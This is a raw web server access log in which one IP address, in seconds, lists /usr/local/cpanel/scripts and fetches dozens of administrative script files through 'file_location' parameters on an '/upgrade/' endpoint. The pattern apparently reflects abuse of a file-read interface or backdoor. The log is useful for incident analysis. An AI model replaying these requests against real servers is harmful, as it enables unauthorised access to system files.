45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffeaturemod&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffeaturemod&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44321 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_whmtheme_file_to_userdata&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_whmtheme_file_to_userdata&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremove_dovecot_index_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40038 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremove_dovecot_index_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_to_dovecot_delivery&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_to_dovecot_delivery&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_maildirsize&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42742 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_maildirsize&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillspamkeys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillspamkeys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Foptimize_eximstats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39452 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Foptimize_eximstats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_inetd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38723 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_inetd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_domain_tls_service_domains.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40487 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_domain_tls_service_domains.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_up_temp_wheel_users&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_up_temp_wheel_users&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcopy_user_mail_as_user&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcopy_user_mail_as_user&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdisablefileprotect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38848 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdisablefileprotect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprimary_virtual_host_migration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprimary_virtual_host_migration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pureftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154510 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pureftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_greylist_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42994 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_greylist_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_transfer_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38240 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_transfer_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:53 -0400] "GET /upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2F HTTP/1.1" 200 7833 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fenablefileprotect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38790 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fenablefileprotect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fswapip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39252 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fswapip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwhoowns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38281 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwhoowns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_users_my_cnf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40124 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_users_my_cnf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitsuexec&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitsuexec&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_in_progress.pod&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_in_progress.pod&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_plugin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_plugin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_import&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39729 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_import&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fapachelimits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39201 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fapachelimits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mount_procfs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mount_procfs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpan_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39201 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpan_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsuspendmysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39850 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsuspendmysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_clean_metadata_for_missing_backups&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38268 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_clean_metadata_for_missing_backups&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhackcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39032 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhackcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fincrease_filesystem_limits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38120 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fincrease_filesystem_limits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_accounts_as_root&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_accounts_as_root&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_feature_flags&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38243 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_feature_flags&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_local_rpm_versions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39508 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_local_rpm_versions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcphulkdwhitelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38438 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcphulkdwhitelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcustom_backup_destination.pl.sample&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39796 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcustom_backup_destination.pl.sample&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38068 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmaildir_converter&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40178 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmaildir_converter&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fisdedicatedip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38051 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fisdedicatedip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmailperm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmailperm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildinstalledssldb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildinstalledssldb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ipaliases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154515 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ipaliases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow.static-cpanelsync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37767 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow.static-cpanelsync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_vhost_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41901 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_vhost_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmainipcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmainipcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_clamd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154289 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_clamd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
